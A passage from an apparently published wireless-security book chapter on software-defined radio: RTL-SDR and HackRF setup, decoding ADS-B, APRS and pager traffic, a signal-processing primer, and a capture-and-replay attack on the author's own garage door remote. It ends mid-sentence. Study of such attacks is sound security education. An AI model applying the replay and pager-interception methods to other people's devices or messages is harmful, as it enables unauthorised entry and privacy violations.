multiple	sources,	including	http://www.nooelec.com.

Although	that	sounds	pretty	impressive	for	a	$20	USB	dongle,	the	RTL-SDR	does
have	some	drawbacks.	The	crystal	oscillator	(or	clock)	on	the	device	is	prone	to	drift,
especially	with	temperature.	You	might	find	your	tuner	is	off	by	10	kHz	or	come	back	to
find	your	radio	channel	has	drifted	out	of	range.	Also,	the	received	signal	is	noisy	and
contains	artifacts	of	the	internal	clock	at	multiples	of	28.8	MHz.

Caveats	aside,	the	RTL-SDR	makes	an	ideal	radio	to	complete	almost	all	the	examples
in	this	chapter.	If	you’re	still	not	convinced,	head	over	to	the	RTL-SDR	website	at
http://www.rtl-sdr.com	and	look	at	some	of	the	neat	projects	people	have	been	working	on.

HackRF:	Versatile	Software-Defined	Radio
In	2014,	Mike	Ossmann	released	the	HackRF	One	(shown	here),	a	flexible,	USB-based
SDR	platform	that	can	be	tuned	between	10	MHz	and	6	GHz.	Capable	of	receiving	and
transmitting	(half	duplex),	the	HackRF	is	a	relatively	low-cost	device	that	offers	similar
features	to	more	expensive	SDR	platforms,	including	a	sampling	rate	of	20	MSPS.

The	HackRF	is	available	from	multiple	online	retailers,	including	HakShop
(www.hakshop.com)	and	NooElec	(http://www.nooelec.com).	The	HackRF	website	also
includes	several	valuable	video	tutorials	on	SDR	concepts,	available	at
http://www.greatscottgadgets.com/sdr.

For	readers	starting	out	with	SDR	technology,	the	RTL-SDR	is	a	low-cost	platform	for
experimenting	and	learning	more	about	SDR.	In	this	chapter,	we’ll	focus	most	of	our
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examples	on	the	RTL-SDR	platform,	with	some	additional	examples	using	the	HackRF	for
users	wanting	to	pursue	additional	functionality	beyond	the	capabilities	of	the	RTL-SDR.

	

Another	SDR	platform	known	as	Airspy	was	not	yet	available	when	this	chapter	was
written,	but	will	likely	be	available	soon.	Airspy	is	targeting	a	community	of	SDR
enthusiasts	desiring	more	features	over	the	RTL-SDR,	but	with	a	lower	price-point	than
the	HackRF.	Visit	the	Airspy	website	at	http://www.airspy.com	for	more	information.

Getting	Started	with	SDRs
Next,	we’ll	look	at	some	of	the	prerequisite	tools	for	getting	started	with	SDRs	on
Windows	and	Linux.

Setting	Up	Shop	on	Windows
A	popular	tool	for	interacting	with	the	RTL-SDR	and	other	SDR	platforms	on	Windows	is
SDR#	(“SDRSharp”),	written	by	Youssef	Touil.	SDR#	provides	an	intuitive	interface	for
exploring	the	radio	spectrum	using	a	waterfall	and	real-time	signal	view.

Visit	the	SDR#	website	at	http://www.sdrsharp.com	to	download	the	latest	version	of
the	installer	zip	file.	Extract	the	sdrsharp-install.zip	file	and	launch	the	install.bat	file.	This
script	will	download	several	libraries	and	executables	from	various	websites	to	integrate
hardware	support	for	multiple	SDR	devices	with	SDR#.

Navigate	to	the	newly	created	sdrsharp	directory	and	launch	the	zadiag.exe	utility	as
an	administrator.	Zadiag.exe	is	used	to	configure	your	system	drivers	for	use	with	the
RTL-SDR	device.	Click	Options	|	List	All	Devices,	and	then	select	the	Bulk-In,	Interface
(Interface	0)	device,	as	shown	next.	Click	Install	Driver	to	install	the	driver	needed	to
interact	with	the	RTL-SDR	hardware.
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SDR#	supports	plug-ins	to	enhance	the	tool’s	functionality.	A	list	of	developer-supplied
plug-ins	is	published	at	http://www.sdrsharpplugins.com.	The	Frequency	Manager	+
Scanner	plug-in	by	Jeff	Knapp	is	a	must-have	for	saving	interesting	frequencies	for	later
use.

Setting	Up	Shop	on	Linux
Windows	applications	like	SDR#	can	cut	setup	time	when	starting	out	with	SDR.
However,	most	of	the	tools	associated	with	SDR	signal	analysis	and	decoding	assume	you
are	working	in	a	Linux	environment.	Where	possible,	we	include	Windows	examples	of
tools,	though	the	majority	of	the	examples	will	target	a	Linux	environment.

Unfortunately,	installing	GNU	Radio	and	its	associated	litany	of	libraries,
dependencies,	add-ons,	and	plug-ins	has	been	a	historical	nightmare.	This	has	forced	many
people	to	choose	between	compiling	everything	they	are	interested	in	by	hand	or	running
the	out-of-date	packages	their	distribution	ships	with.	Fear	not,	however:	a	simple
configuration	solution	is	available	in	a	few	short	commands.

First,	download	and	install	the	latest	64-bit	Ubuntu	ISO	from	http://www.ubuntu.com.
It	is	possible	to	use	an	Ubuntu	virtual	machine,	but	performance	suffers	and	USB	support
can	be	finicky	with	high-throughput	adapters,	including	SDR	devices.

From	the	Ubuntu	system,	add	the	third-party	package	repository	maintained	by
Alexandru	Csete	(author	of	gqrx,	a	Unix-based	SDR	tool	we	examine	shortly),	as	shown
next.	The	packages	in	this	repository	are	more	frequently	updated	than	the	official	Ubuntu
packages,	giving	you	easy	access	to	install	and	configure	the	Linux	system	for	the	RTL-
SDR	and	HackRF.
$	sudo	add-apt-repository	ppa:gqrx/releases

Next,	update	the	package	list	and	install	the	following	packages	to	install	the	SDR
software:

Rejoice!	You	have	stable	and	relatively	up-to-date	versions	of	(almost)	everything	needed
for	SDR	analysis.	This	is	a	rare	feat	for	Linux	systems!

	

You	can	also	try	out	the	GNU	Radio	LiveDVD	for	a	quick	no-hassle	experience,	available
at	http://gnuradio.org/redmine/projects/gnuradio/wiki/GNURadioLiveDVD.

With	the	core	SDR-related	software	installed,	the	first	thing	to	do	is	verify	that	the
RTL-SDR	is	functioning	correctly.	You	can	easily	accomplish	this	by	running	rtl_test:

http://www.sdrsharpplugins.com
http://www.ubuntu.com
http://gnuradio.org/redmine/projects/gnuradio/wiki/GNURadioLiveDVD


	

Some	versions	of	Ubuntu	naively	assume	you	actually	want	to	use	the	RTL-SDR	for
watching	TV.	Ubuntu	automatically	loads	a	device	driver,	which	causes	access	conflicts.	If
you	experience	this	problem,	simply	unload	the	driver	(rmmod	dvb_usb_rtl28xxu).

Once	you	are	done	testing,	kill	rtl_test	by	pressing	CTRL-C.	Only	one	application	may
use	the	RTL-SDR	device	at	a	time.	Keep	in	mind	that	the	RTL-SDR	software	is	known	to
be	slightly	buggy.	Expect	to	see	the	occasional	segmentation	fail	error	(segfault)	when
shutting	down.	If	your	device	stops	responding,	reinsert	the	dongle	and	try	again.	If	the
problem	continues,	consider	restarting	your	system.

	

If	you	are	only	able	to	run	rtl_test	as	root,	you	need	to	install	the	Linux	device	manager
(udev)	rules.	Download	the	rtl-sdr.rules	file	from	the	companion	website	at
http://www.hackingexposedwireless.com,	copy	the	file	to	/etc/udev/rules.d/,	and	run

udevadm	control	--reload-rules.	

If	you	are	lucky	enough	to	have	a	HackRF,	it	also	has	a	simple	utility	you	can	use	to
validate	it	is	communicating	with	your	computer—hackrf_info:

Once	you	have	verified	that	your	tests	were	successful,	you	can	start	the	gqrx	tool	at
the	command	prompt	by	running	“gqrx”	as	a	non-root	user.	The	gqrx	tool	not	only
provides	the	functionality	that	SDR#	provides	for	Windows,	it	also	has	other	useful
features	that	we’ll	explore	later	in	this	chapter.

	

If	you	have	any	troubles	with	your	Linux	audio	system,	figure	them	out	now.	In	the	next

http://www.hackingexposedwireless.com


section,	we’ll	be	using	your	ears	to	hunt	for	signals	in	your	area.

SDR#	and	gqrx:	Scanning	the	Radio	Spectrum
Next,	we	investigate	various	radio	signals	using	SDR#	or	gqrx.

The	first	thing	we’ll	do	with	the	RTL-SDR	is	use	it	to	listen	to	the	local	FM	radio
station.	This	is	a	good	place	to	start	because	almost	everyone	lives	within	range	of	a	few
stations,	and	they	are	located	at	consistent	frequencies	across	the	country.

The	SDR#	and	gqrx	interfaces	consist	of	four	major	UI	elements.	The	volume
control/tuner	are	prominently	located	on	top	(1),	and	these	function	as	expected.	On	the
left,	you	have	radio	configuration	(2).	Here	is	where	you	tell	the	program	what	type	of
signal	you	want	to	receive.	For	now,	punch	in	the	numbers	to	a	local	FM	radio	station,	and
set	the	radio	to	Wide	FM	(WFM).	In	this	screenshot,	we’re	listening	to	WBRU	95.5,	a
local	alternative	rock	station.	Press	the	play	(or	power)	button	to	start	listening.

The	fast	Fourier	transform	(FFT,	3)	displays	the	amplitudes	and	frequencies	of	radio
stations	your	SDR	is	picking	up.	The	red	bar	indicates	which	station	you	are	currently
tuned	to.	Beneath	is	the	waterfall	(4),	which	lets	you	see	a	time	history	of	received	signals.
Both	prove	useful	when	trying	to	find	a	radio	signal.

Although	we	haven’t	discussed	frequency	and	hertz	(Hz)	yet,	you	have	seen	these
terms	before.	For	now,	think	of	frequency	as	the	channel	the	given	station	has	been
assigned.	Hertz	is	simply	the	units	of	frequency.	FM	stations	occupy	a	range	of
frequencies.	Although	95.5	MHz	is	the	assigned	center	frequency	of	WBRU,	the
transmission	occupies	about	100	kHz	(or	0.1	MHz)	of	bandwidth	in	either	direction.	(This
is	why	radio	stations	never	end	in	an	even	number!)

Another	thing	to	notice	is	that	multiple	FM	stations	are	present	on	the	display.	SDR#
and	gqrx	only	demodulate	(listen	to)	one	station	at	a	time,	but	that	is	simply	because	the
programmer	didn’t	think	you’d	want	to	listen	to	multiple	radio	streams.	With	a	little
modification,	you	could	spawn	additional	threads	to	listen	to	each	station	that	shows	up!

Of	course,	there	are	easier	ways	to	listen	to	an	FM	radio	station.	However,	using	an
SDR,	you	can	access	other	radio	systems	that	are	not	as	easy	to	find,	such	as	Automatic
Dependent	Surveillance-Broadcast	(ADS-B)	radio	signals.



	Decoding	ADS-B	with	dump1090

The	first	special-purpose	application	we’ll	use	with	the	RTL-SDR	is	dump1090.	This
program,	written	by	Salvatore	Sanfilippo	(antirez),	gets	its	name	from	the	frequency	that
airplanes	use	to	transmit	their	position	and	flight	number:	1090	MHz.	You	have	to
download	and	compile	dump1090	by	hand.	This	process	is	straightforward,	as	shown
here:

The	--interactive	flag	causes	dump1090	to	output	a	nicely	formatted	ASCII	table,	and	-
-net	causes	it	to	bind	to	port	8080	and	serve	up	a	Google	map.

	

Some	flights	don’t	transmit	latitude/longitude	information.	You’ll	see	messages	pop	up,
but	you	may	not	see	the	associated	coordinates	or	flight	number.

That	table	is	pretty	impressive	(you	did	literally	just	pull	it	out	of	thin	air),	but	a
picture	is	worth	a	thousand	words.	Open	your	browser	to	http://127.0.0.1:8080	and
observe	real-time	airplane	tracking	information	as	shown	here:

http://127.0.0.1:8080


The	dump1090	tool	works	by	demodulating	the	ADS-B	signals	that	aircraft	transmit
on	1090	MHz.	This	information	is	intended	for	use	by	other	aircraft	in	the	area	as	well	as
ground	stations.	It	is	not	encrypted	and	can	easily	be	picked	up	from	miles	away,	even
indoors	and	with	the	antenna	both	RTL-SDR	and	HackRF	ship	with!

Next,	let’s	look	at	another	feature	of	SDRs:	retrieving	amateur	radio	text	messages.

	Decoding	APRS	with	gqrx

APRS	is	roughly	the	equivalent	of	SMS	for	amateur	radio	enthusiasts.	The	Automatic
Packet	Reporting	System	(APRS)	was	designed	in	1993	to	transmit	short	text-based
messages	in	the	Ham	radio	band.	Packets	can	bounce	across	repeaters,	onto	the	Internet,



and	even	to	the	International	Space	Station!

Unfortunately,	most	APRS	traffic	is	boring.	Ham	radio	enthusiasts,	although	generally
friendly	and	mostly	harmless,	love	to	use	APRS	for	mundane	tasks,	such	as	letting
everyone	know	where	their	car	is.	Usually,	all	the	tracked	objects	are	stationary	and	have
been	for	many	hours.	A	more	practical	(and	exciting)	use	of	APRS	is	to	track	high-altitude
weather	balloons.	There’s	nothing	like	racing	along	in	a	van	packed	with	electronics	early
in	the	morning,	while	your	balloon	sails	up	toward	near	space.	Your	local	radio	club
would	probably	be	more	than	willing	to	bring	you	along	on	their	next	expedition—and
occasionally	remind	you	that	their	cars	are	still	outside	in	the	parking	lot.

In	North	America,	you	can	find	APRS	transmissions	at	144.39	MHz.	Fortunately,	gqrx
has	a	built-in	AFSK1200	demodulator,	which	means	you	can	simply	tune	to	144.39,
choose	the	Narrow	FM	(NFM)	mode,	and	click	Tools	|	AFSK1200	Decoder.	When	APRS
messages	are	received,	they	will	be	decoded	and	displayed,	as	shown	by
=3921.48N/07649.91W	in	the	following	illustration.

	

Remember,	the	RTL-SDR	may	drift	in	frequency!	Use	the	waterfall	view	to	check	for
nearby	transmissions!

Sometimes	you	may	find	yourself	stuck	with	an	empty	window	in	the	gqrx	APRS
decoder.	If	you	want	to	receive	an	APRS	packet	in	the	wild,	try	the	following	suggestions:

•		Fiddle	with	the	gain	and	see	if	you	can	get	anything	to	come	in.	APRS
messages	have	a	very	distinct	“Squee-awwwwwk”	sound	to	them.	You’ll	know	if
you	hear	one.

•		Try	getting	a	better	antenna,	or	head	outside	to	a	hilltop.

Still	no	luck?	Check	http://aprs.fi	and	see	if	any	stations	are	in	your	area!

Once	you	get	a	few	APRS	messages,	you	may	want	to	decode	them	further.	The
highlighted	message	in	the	example	contains	GPS	coordinates.	Tools	like	Dire	Wolf
(https://home.comcast.net/~wb2osz/site)	and	Xastir
(http://xastir.org/index.php/Main_Page)	will	plot	received	location	information	from

http://aprs.fi
https://home.comcast.net/~wb2osz/site
http://xastir.org/index.php/Main_Page


APRS	packets	on	a	map	and	even	let	you	transmit	back	if	you	have	the	right	hardware	and
Ham	license.

Although	APRS	messages	are	straightforward	to	receive	and	decode	using	gqrx,	their
use	is	limited	to	Ham	radio	operators.	A	protocol	with	similar	functionality—pager
networks—is	much	more	widely	accessible	to	the	general	public	and	still	accessible	with
SDR	technology.

	Decoding	Pager	Traffic

The	last	digital	signal	we’re	going	to	decode	is	POCSAG	(or	Post	Office	Code
Standardization	Advisory	Group)	pager	traffic.	Pagers	are	still	widely	used	in	medical	and
industrial	settings,	so	there’s	a	good	chance	you’ll	be	able	to	hear	some	from	your	home.
Pager	signals	are	easy	to	identify	and	decode,	as	long	as	you	can	find	them.	The	frequency
ranges	in	use	vary	significantly	by	geography,	so	you	will	have	to	hunt	for	signals.	You
might	want	to	search	around	the	following	frequencies:

•		152–163	MHz	(VHF)

•		454–465	MHz	(UHF)

•		929–931	MHz	(UHF)

Fortunately,	POCSAG	has	a	very	distinctive	shape	and	sound.	You’ll	know	you’ve
found	one	when	you	hear	“Bee-doooh	(gwarrble).	Bee-doooh	(gwarrble)”	coming	over	the
NFM	demodulated	audio.	In	the	FFT,	the	signal	takes	on	a	“bat	ears”	shape,	with	two
distinct	peaks	at	either	end	of	the	signal,	as	shown	here	with	gqrx.



While	gqrx	has	a	built-in	APRS	demodulator,	the	author	did	not	include	POCSAG
demodulation	support.	However,	we	can	stream	the	audio	over	UDP	for	demodulation	and
conversion	by	different	tools.	An	overview	of	the	process	is	shown	next.

Once	we’ve	found	a	POCSAG	channel,	we	need	to	stream	the	audio	over	UDP.	We
switch	to	the	Audio	tab	(bottom	right	of	gqrx)	and	click	the	Audio	Settings	button	(with
the	wrench	and	screwdriver	icons)	to	select	a	port.	The	default	port	is	7355.	We	then	click
the	icon	of	the	two	computers	to	begin	broadcasting	the	audio	stream	locally.	You	can	test
that	it	is	working	by	connecting	to	the	designated	port	with	Netcat,	as	shown	here:

Because	the	two	programs	were	written	by	different	authors,	we	must	change	the
sample	rate	between	programs.	Although	gqrx	outputs	audio	at	48	KSPS,	multimon-ng
wants	it	at	22050	SPS.	The	command-line	utility	sox	takes	care	of	this	conversion.	First,
we	install	the	sox	package:
$	sudo	apt-get	install	sox

With	sox	installed,	we	can	convert	the	output	from	the	gqrx	UDP	data,	as	shown	here:



The	first	half	of	this	command	tells	sox	to	read	raw	16-bit	signed	integers	from	stdin	at	a
rate	of	48000	Hz	(raw	simply	means	there	is	no	header	data,	like	you	would	find	on	a	wav
or	MP3	file.)	The	second	half	says	to	output	16-bit	signed	integers	at	22050	Hz	to	stdout,
once	again	with	no	header	data.	Finally,	we	are	ready	to	feed	the	resampled	data	into
multimon-ng.

Multimon-ng	is	a	command-line	utility	written	by	Elias	Önal	that	can	demodulate
many	different	digital	signals.	We	download	and	compile	the	source,	and	then	install	the
binary,	as	shown	here:

The	execution	of	multimon-ng	is	actually	fairly	straightforward.	We	just	tell	it	to
expect	raw	samples	(-t	raw)	from	stdin	(or	'-')	and	give	it	a	list	of	potential	modulations
to	try.	POCSAG	has	three	flavors	of	test	message	decoding,	and	multimon-ng	can
accommodate	each:
multimon-ng	-t	raw	-a	SCOPE	-a	POCSAG512	-a	POCSAG1200	-a	POCSAG2400	–

We	get	the	following	when	we	string	this	all	together	into	one	mega	command	line:

Once	multimon-ng	is	running,	it	opens	a	simple	oscilloscope	displaying	the	incoming
data.	The	following	illustration	shows	an	example	of	valid	incoming	signals	that	are
retrieved	through	the	selected	gqrx	frequency.

With	any	luck,	pages	in	your	area	will	start	scrolling	by.	A	redacted	example	of	pager
content	is	shown	here:



If	you	made	it	this	far,	congratulations!	Without	any	dedicated	hardware,	you
demodulated	an	analog	radio	wave	all	the	way	to	ASCII	data.	This	is	nothing	to	scoff	at.
Just	look	at	all	the	steps	that	were	required	in	the	diagram!

We	jumped	in	and	skipped	some	critical	concepts	at	the	beginning	of	this	chapter	to
demonstrate	the	cool	things	that	you	can	do	with	SDR	technology.	A	thorough
understanding	of	some	of	these	concepts	is	key	to	developing	a	greater	mastery	of	what	is
possible	with	SDR.

Digital	Signal	Processing	Crash	Course
By	now,	you	should	feel	pretty	comfortable	with	the	FFT	and	waterfall	features	in	gqrx.
Analyzing	transmissions	in	the	frequency	domain	presents	a	fairly	intuitive	way	for	users
to	locate,	identify,	and	compare	signals.	This,	however,	is	only	half	the	picture.	The	other
way	to	analyze	signals	is	in	the	time	domain.	In	this	section,	we	discuss	the	inner	workings
of	digital	radios.

Rudimentary	Communication
Imagine	for	a	moment	that	we’re	ten	years	old	and	we	need	to	pass	secret	messages
between	our	tree	forts,	which	are	some	distance	apart.	I	grab	my	mom’s	garden	hose,	strap
a	balloon	over	one	end,	and	run	it	from	your	fort	to	mine.



By	blowing	into	the	hose,	I	can	send	you	a	message.	A	deflated	balloon	means	all	is
well,	but	an	inflated	balloon	means	“Send	over	tuna;	my	tiger	is	hungry.”	Of	course,
sending	more	than	one	message	would	be	nice,	so	we	quickly	invent	binary	and	agree	to
send	one	bit	every	five	seconds.

Obviously,	we	run	into	some	issues	with	this	method.	I’ve	got	an	awful	sense	of
rhythm	and	sometimes	it	takes	me	longer	than	five	seconds	to	send	a	bit.	Was	that	two	0s
in	a	row,	or	just	one?	Other	times,	you’re	not	paying	attention	and	catch	the	message
halfway	through.	To	work	around	this,	we	invent	a	packet	structure,	which	includes	a
checksum;	this	way,	when	we	receive	a	message,	we	can	ensure	we	received	it	correctly.
Getting	pretty	complicated,	eh?

If	you’ve	ever	worked	with	a	microcontroller	like	an	Arduino,	you	know	that	this	is
how	digital	communication	works.	The	hose	represents	a	wire	(or	trace	on	a	circuit	board),
and	the	pressure	in	the	balloon	represents	the	voltage.	Obviously,	this	system	has	some
physical	limitations.	We	can	only	communicate	in	one	direction,	unless	we	run	a	second
length	of	hose	or	agree	beforehand	to	switch	ends	of	the	hose	every	so	often.	Also,	with
too	long	a	hose,	inflating	the	balloon	will	take	an	unreasonable	amount	of	energy.

Rudimentary	(Wireless)	Communication
At	this	point,	we’re	momentarily	at	a	loss	on	ways	to	send	1s	and	0s.	Obviously,	I	can’t
send	a	0	by	inhaling	the	entire	atmosphere	and	creating	a	vacuum.	However,	by	blowing
into	a	Cap’n	Crunch	whistle,	I	can	disturb	the	ambient	air	pressure	just	enough	for	you	to
pick	it	up	with	your	ears.	We	also	get	the	benefit	of	easier	bidirectional	communication—
at	the	cost	of	everyone	nearby	being	able	to	receive	our	messages.

Of	course,	we	have	to	share	the	space	with	our	parents	and	neighbors,	so
communicating	while	Dad’s	mowing	the	lawn	is	rather	difficult.	Not	to	mention,	the
annoying	kids	on	the	other	side	of	the	street	stole	our	idea	of	using	a	Cap’n	Crunch	whistle



to	communicate.	To	make	things	easier	on	ourselves,	we	switch	out	our	whistle	for	a	flute.
Because	the	flute	has	many	notes,	we	can	“move”	our	communication	away	from
interfering	sources.

This	primitive	example	is	a	little	closer	to	how	wireless	communication	works.	The
big	takeaway	point	is	that	sending	a	“square”	1	bit	is	simply	impossible.	Sending	a	“note”
that	only	temporarily	alters	the	spectrum	is	much	easier.	Given	this	example,	let’s	see	if
we	can	understand	how	POCSAG	works.

POCSAG
POCSAG	is	protocol.	A	transmission	mechanism	starts	its	life	out	as	a	text	message,
stored	in	a	few	kilobytes	on	a	memory	chip.	After	being	wrapped	in	a	packet	structure,	the
message	is	turned	into	a	stream	of	bits	and	sent	to	the	radio.	The	radio	modulates	the
information	and	transmits	it	over	the	air	in	the	form	of	an	electromagnetic	wave.

Here,	you	can	see	a	simulated	POCSAG	transmission	in	the	time	domain.	The	dotted
line	on	top	is	there	to	help	you	see	the	original	binary	information.	In	this	instance,
POCSAG	is	using	two	frequencies	to	represent	the	data.	The	lower	frequency	indicates	a
0,	and	the	higher	frequency	represents	a	1.	This	modulation	is	called	binary	frequency
shift-keying	(BFSK,	or	just	FSK).	Using	the	tree	fort	example,	BFSK	is	like	using	two
different	notes	on	the	flute	to	send	information.

Going	back	to	our	example,	before	our	message	ends,	someone	with	a	powerful
transmitter	starts	talking	over	us.	The	dashed	line	says	our	data	is	still	there,	but	it’s
difficult	to	see	looking	at	the	signal.	Before	we	give	up	on	this	packet,	let’s	check	the
frequency	domain.



The	two	“railroad	tracks”	in	the	waterfall	represent	channels	on	which	each	user	is
transmitting.	The	two	“rails”	on	each	track	are	the	two	frequencies	that	make	this	signal
BFSK.	If	you	were	looking	at	this	signal	with	the	FFT,	the	rails	would	instead	look	like
“bunny	ears.”

Much	larger	than	the	1s	and	0s	themselves	is	the	interfering	signal;	it	is	the	bright	band
on	the	right.	By	designing	a	filter,	we	should	be	able	to	select	the	signal	we	want,
removing	the	unwanted	noise.	In	the	time	domain,	this	would	remove	the	interfering
signal	and	allow	us	to	see	the	rest	of	our	signal.	(Granted,	some	of	the	interfering	signal
will	still	bleed	through;	hopefully,	we’ll	remove	enough	to	prevent	bit	errors	from
occurring!)

Information	as	Sound
Up	to	now,	it	has	been	convenient	to	think	about	wireless	communication	as	sound.	After
all,	the	only	difference	between	a	sound	wave	and	a	radio	wave	is	the	medium	it	travels	in
and	the	frequencies	used.	But	this	is	a	crutch.	Not	all	radio	signals	have	a	sound.	The
famous	“Sounds	of	Jupiter,”	recorded	by	Voyager	I,	were	just	electromagnetic	waves
created	by	the	planet’s	solar	wind.	Someone	simply	sped	up	the	signal	to	contain
frequencies	in	the	range	of	human	hearing,	ran	the	signal	through	a	speaker,	and	enjoyed
the	sound	it	made.	(Also,	there’s	no	sound	in	space!)

That	being	said,	some	communication	methods	(like	APRS	and	v.92	modems)	do	use
sound	to	communicate,	depending	on	how	you	look	at	it.	The	original	designers	of	these
modems	realized	that	phone	lines	had	about	3–4	kHz	of	bandwidth	and	so	designed	their
protocol	to	generate	electrical	signals	that	“looked”	like	sound.	In	some	cases,	the	signal
was	even	passed	through	an	acoustic	coupler,	the	equivalent	of	holding	two	handsets
together.

Pedanticism	aside,	you	should	have	a	better	understanding	of	primitive	radio	theory.
Let’s	apply	this	new	understanding	to	attack	vulnerable	wireless	devices.

	Attacking	a	Garage	Entry	Keyfob

If	you’ve	made	it	this	far,	you’ve	probably	figured	out	SDR	is	capable	of	far	more	than
the	limited	ecosystem	of	applications	we’ve	shown	you.	Sure,	there’s	dump1090	and
multimon-ng,	but	what	about	a	tool	to	pull	data	from	wireless	tire	pressure	monitoring
systems	(TPMS)?	What	about	an	application	that	allows	you	to	transmit	arbitrary	GSM
packets	for	fuzz	testing?	It’s	not	like	your	“hardware-defined”	radio	will	let	you	do	that!



Although	we	can’t	teach	you	how	to	build	your	own	GSM	stack	in	a	single	chapter,	we
can	teach	you	some	of	the	basic	building	blocks.	Many	modern	electronic	devices	use	On-
Off	Keying	(OOK),	a	simple,	easy-to-understand	modulation	scheme.	In	this	section,	we
analyze	a	wireless	key	fob	and	attempt	to	determine	if	the	device	is	vulnerable	to	attacks.

Like	all	true	hacks,	this	hack	involves	some	effort,	skill,	patience,	and	luck.	This	type
of	analysis	is	always	challenging—and	is	not	for	the	faint	of	heart!

Picking	Your	Target
Finding	an	OOK	transmitter	shouldn’t	be	too	difficult.	You	probably	have	several	devices
around	your	house	that	use	OOK,	including	garage	door	remotes,	car	key	fobs,	weather
stations,	doorbells,	and	smart	guns.	We	recommend	starting	with	a	cheap	wireless	doorbell
or	a	simple	garage	door	opener.	The	cheaper	it	looks,	the	more	likely	it	uses	OOK.

In	this	attack	we’ll	target	a	Genie	Company	garage	door	opener	used	by	the	author.
You	do	not	need	this	specific	product	to	apply	the	steps	shown	in	this	section—use	these
techniques	against	devices	of	your	own	choosing	for	your	own	attack	experiments.

Device	Reconnaissance
Although	black-box	testing	is	entirely	possible,	this	is	a	beginner	project.	We’re	trying	to
minimize	the	complexity	here!	For	now,	we’ll	assume	you	have	physical	access	to	the
device.	The	first	question	to	ask	is	“What	is	the	FCCID?”	Most	wireless	devices	sold	in
the	United	States	must	comply	with	FCC	Part	15	regulations.	The	FCC	maintains	a
database	of	compliant	devices	online,	which	gives	access	to	test	records,	frequency
allocations,	manuals,	and	sometimes	even	internal	photos!



Usually,	the	FCCID	is	printed	on	the	back	of	the	device.	Sometimes,	it	is	molded	into	the
plastic,	other	times	printed	on	a	label.	If	you	can’t	find	it	on	the	device,	check	the
packaging	or	instruction	manual.	Once	you	have	the	ID,	head	on	over	to	the	FCC’s
website	at	http://transition.fcc.gov/oet/ea/fccid.

This	garage	door	remote	has	an	FCCID	of	“B8QACSCT.”	Although	not	clearly
indicated,	the	ID	consists	of	two	parts:	the	grantee	code	(three	or	five	characters)	and	the
product	code.	Plugging	in	B8Q	as	the	grantee	code	and	ACSCT	as	the	product	code
brings	up	a	list	of	documents.	With	a	little	digging,	we	discovered	the	system	is	assigned
to	390	MHz,	as	shown	here.

http://transition.fcc.gov/oet/ea/fccid


Without	this	information,	we	would	have	to	brute-force	search	the	air	waves	using
gqrx,	hoping	for	some	signal	to	show	up	when	I	pressed	the	button.	If	you	do	have	to
search,	the	Industrial,	Scientific,	and	Medical	(ISM)	band	is	a	good	place	to	start.	Look
around	315	MHz,	433	MHz,	and	915	MHz	for	your	wireless	device	(remember,	the	higher
your	sample	rate,	the	more	RF	spectrum	you	will	be	able	to	see	continuously).

Finding	and	Capturing	an	RF	Transmission
In	this	section,	we’ll	use	a	new	tool	called	osmocom_fft.	The	user	interface	is	a	stripped-
down	version	of	gqrx	and	SDR#,	focusing	on	utility	rather	than	function.	Our	goal	is	to
find	our	signal,	center	it	on	the	graph,	choose	an	appropriate	gain,	and	save	it	to	a	file.

We	started	with	our	RTL-SDR	at	390	MHz,	with	a	sample	rate	of	2.5	MSPS.	This	gave
us	a	“wide	bucket”	to	catch	the	signal,	just	in	case	the	remote	didn’t	transmit	exactly
where	the	FCC	said	it	would.	We	also	put	the	RF	gain	somewhere	in	the	middle,	on	the
hunch	that	the	batteries	might	be	half	dead.	Finally,	we	knew	these	transmissions	would	be
very	short	in	duration—faster	than	the	blink	of	an	eye.	To	make	sure	we	didn’t	miss	one,
we	enabled	the	Peak	Hold	feature.

As	soon	as	we	pushed	the	button	on	the	garage	door	remote,	we	saw	a	burst	of	activity
just	to	the	left	of	390	MHz.	That’s	fantastic—we	caught	a	signal	on	the	first	try	(needless
to	say,	we’re	not	always	that	lucky).



Although	we	found	our	signal,	we’re	not	quite	ready	to	capture	it.	In	the	example,	our
gain	is	set	too	high.	The	distortions	to	the	left	and	right	can	be	problematic	later	on,	so	we
lower	the	gain	until	the	distortions	disappear	into	the	noise	floor	(if	you	see	the	carrier
wandering	about,	give	or	take	100	kHz,	that’s	not	your	receiver—it’s	a	characteristic	of
inexpensive	OOK	transmitters).	You	might	also	notice	a	large	DC	spike	in	the	very	center
of	your	graph	(a	common	artifact	of	RF	measurement	systems).	Offset	tune	your	signal	to
the	side	to	make	sure	the	DC	spike	doesn’t	interfere	with	your	data!

All	that’s	left	to	do	is	capture	the	transmission	to	a	file.	After	pressing	the	record
button	in	the	lower-right-hand	corner,	the	application	begins	to	save	the	RF	samples	to	the
hard	drive.	Catch	two	or	three	good	transmissions,	and	click	the	button	again	to	stop
recording.

Blind	Attempts	at	Replay	Attacks
This	garage	remote	is	pretty	old.	It’s	fairly	safe	to	say	that	simply	replaying	what	we
captured	should	open	my	garage	door.	With	HackRF,	this	process	is	quite	straightforward.
Note	your	settings	from	osmocom_fft	(frequency,	gain(s),	sample	rate).	Next,	start	a
capture	process	with	hackrf_transfer,	as	shown	here:



The	samples	are	recorded	to	a	file.	The	-a,	-l,	and	-g	parameters	adjust	amplitude,
low	noise,	and	intermediate	frequency	gain	control,	respectively.	The	-f	is	frequency	in
Hertz,	and	-s	is	sample	rate.	(For	more	information,	run	hackrf_transfer	--help.)	Press
CTRL-C	after	you	have	recorded	your	capture.

To	retransmit	the	waveform,	run	the	following	command:

In	this	instance,	-x	is	transmit	gain.	This	parameter	is	chosen	“to	taste,”	unless	you
happen	to	have	a	spectrum	analyzer	around	to	determine	how	much	output	power	you’re
transmitting.	You	would	think	that	having	a	gain	of	0	dB	would	transmit	the	original
signal.	This	is	not	the	case,	however.	A	gain	of	0	dB	transmits	the	quietest	signal	possible.
Assuming	you’re	standing	near	your	garage	door,	we	found	10–20	dB	works	fine.

	

Transmitting	without	an	antenna	attached	to	your	radio	can	damage	or	destroy	the	analog
circuitry.	Ensure	your	antenna	is	compatible	with	your	SDR	hardware	(matching	the
correct	impedance,	usually	50	ohms,	and	designed	to	operate	on	the	target	frequency).

What	If	It	Doesn’t	Work?
There’s	no	straight	answer	to	this.	This	exercise	is	like	lock-picking.	You	need	to	develop
an	intuition	for	the	devices	you’re	working	with	and	an	understanding	of	how	they	may
function,	and	(in	some	cases)	you	just	need	pure	dumb	luck.	We	can	give	you	some
thoughts	to	go	off	of,	but	no	promises.

If	you’re	hacking	a	cheap	wireless	doorbell	or	an	older	garage	door,	this	trick	should
